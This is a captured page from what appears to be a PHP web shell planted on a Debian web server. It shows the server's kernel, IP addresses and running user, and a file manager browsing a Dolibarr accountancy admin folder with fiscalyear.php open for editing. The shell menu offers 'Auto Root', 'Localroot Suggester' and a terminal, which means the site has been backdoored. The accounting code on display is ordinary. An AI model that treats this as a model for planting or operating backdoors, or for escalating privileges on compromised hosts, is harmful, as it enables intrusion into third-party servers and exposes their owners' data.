Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
speed.bdcloud.fr /
accountancy /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
account.php
21.13
KB
-rw-r--r--
2020-09-02 15:32
accountmodel.php
26.67
KB
-rw-r--r--
2020-09-02 15:32
card.php
12.58
KB
-rw-r--r--
2020-09-02 15:32
categories.php
5.88
KB
-rw-r--r--
2020-09-02 15:32
categories_list.php
35.99
KB
-rw-r--r--
2020-09-02 15:32
closure.php
3.79
KB
-rw-r--r--
2020-09-02 15:32
defaultaccounts.php
6.61
KB
-rw-r--r--
2020-09-02 15:32
export.php
8.8
KB
-rw-r--r--
2020-09-02 15:32
fiscalyear.php
5.17
KB
-rw-r--r--
2020-09-02 15:32
fiscalyear_card.php
9.47
KB
-rw-r--r--
2020-09-02 15:32
fiscalyear_info.php
1.82
KB
-rw-r--r--
2020-09-02 15:32
index.html
0
B
-rw-r--r--
2020-09-02 15:32
index.php
11.58
KB
-rw-r--r--
2020-09-02 15:32
journals_list.php
24.52
KB
-rw-r--r--
2020-09-02 15:32
productaccount.php
37.56
KB
-rw-r--r--
2020-09-02 15:32
Save
Rename
<?php /* Copyright (C) 2013-2018 Alexandre Spangaro <aspangaro@open-dsi.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/accountancy/admin/fiscalyear.php * \ingroup Accountancy (Double entries) * \brief Setup page to configure fiscal year */ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/fiscalyear.class.php'; $action = GETPOST('action', 'aZ09'); // Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'alpha'); $sortorder = GETPOST('sortorder', 'alpha'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); if (empty($page) || $page == -1) { $page = 0; } // If $page is not defined, or '' or -1 $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; if (!$sortfield) $sortfield = "f.rowid"; // Set here default search field if (!$sortorder) $sortorder = "ASC"; // Load translation files required by the page $langs->loadLangs(array("admin", "compta")); // Security check if ($user->socid > 0) accessforbidden(); if (!$user->rights->accounting->fiscalyear->write) // If we can read accounting records, we should be able to see fiscal year. accessforbidden(); $error = 0; // List of status static $tmpstatut2label = array( '0' => 'OpenFiscalYear', '1' => 'CloseFiscalYear' ); $statut2label = array( '' ); foreach ($tmpstatut2label as $key => $val) $statut2label[$key] = $langs->trans($val); $errors = array(); $object = new Fiscalyear($db); /* * Actions */ /* * View */ $max = 100; $form = new Form($db); $title = $langs->trans('AccountingPeriods'); $helpurl = ""; llxHeader('', $title, $helpurl); $sql = "SELECT f.rowid, f.label, f.date_start, f.date_end, f.statut, f.entity"; $sql .= " FROM ".MAIN_DB_PREFIX."accounting_fiscalyear as f"; $sql .= " WHERE f.entity = ".$conf->entity; $sql .= $db->order($sortfield, $sortorder); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { $result = $db->query($sql); $nbtotalofrecords = $db->num_rows($result); if (($page * $limit) > $nbtotalofrecords) // if total resultset is smaller then paging size (filtering), goto and load page 0 { $page = 0; $offset = 0; } } $sql .= $db->plimit($limit + 1, $offset); $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; $addbutton .= dolGetButtonTitle($langs->trans('NewFiscalYear'), '', 'fa fa-plus-circle', 'fiscalyear_card.php?action=create', '', $user->rights->accounting->fiscalyear->write); $title = $langs->trans('AccountingPeriods'); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $params, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'title_accountancy', 0, $addbutton, '', $limit, 1); // Load attribute_label print '<div class="div-table-responsive">'; print '<table class="tagtable liste centpercent">'; print '<tr class="liste_titre">'; print '<td>'.$langs->trans("Ref").'</td>'; print '<td>'.$langs->trans("Label").'</td>'; print '<td>'.$langs->trans("DateStart").'</td>'; print '<td>'.$langs->trans("DateEnd").'</td>'; print '<td class="center">'.$langs->trans("NumberOfAccountancyEntries").'</td>'; print '<td class="center">'.$langs->trans("NumberOfAccountancyMovements").'</td>'; print '<td class="right">'.$langs->trans("Statut").'</td>'; print '</tr>'; if ($num) { $fiscalyearstatic = new Fiscalyear($db); while ($i < $num && $i < $max) { $obj = $db->fetch_object($result); $fiscalyearstatic->id = $obj->rowid; print '<tr class="oddeven">'; print '<td><a href="fiscalyear_card.php?id='.$obj->rowid.'">'.img_object($langs->trans("ShowFiscalYear"), "technic").' '.$obj->rowid.'</a></td>'; print '<td class="left">'.$obj->label.'</td>'; print '<td class="left">'.dol_print_date($db->jdate($obj->date_start), 'day').'</td>'; print '<td class="left">'.dol_print_date($db->jdate($obj->date_end), 'day').'</td>'; print '<td class="center">'.$object->getAccountancyEntriesByFiscalYear($obj->date_start, $obj->date_end).'</td>'; print '<td class="center">'.$object->getAccountancyMovementsByFiscalYear($obj->date_start, $obj->date_end).'</td>'; print '<td class="right">'.$fiscalyearstatic->LibStatut($obj->statut, 5).'</td>'; print '</tr>'; $i++; } } else { print '<tr class="oddeven"><td colspan="7" class="opacitymedium">'.$langs->trans("None").'</td></tr>'; } print '</table>'; print '</div>'; } else { dol_print_error($db); } // End of page llxFooter(); $db->close();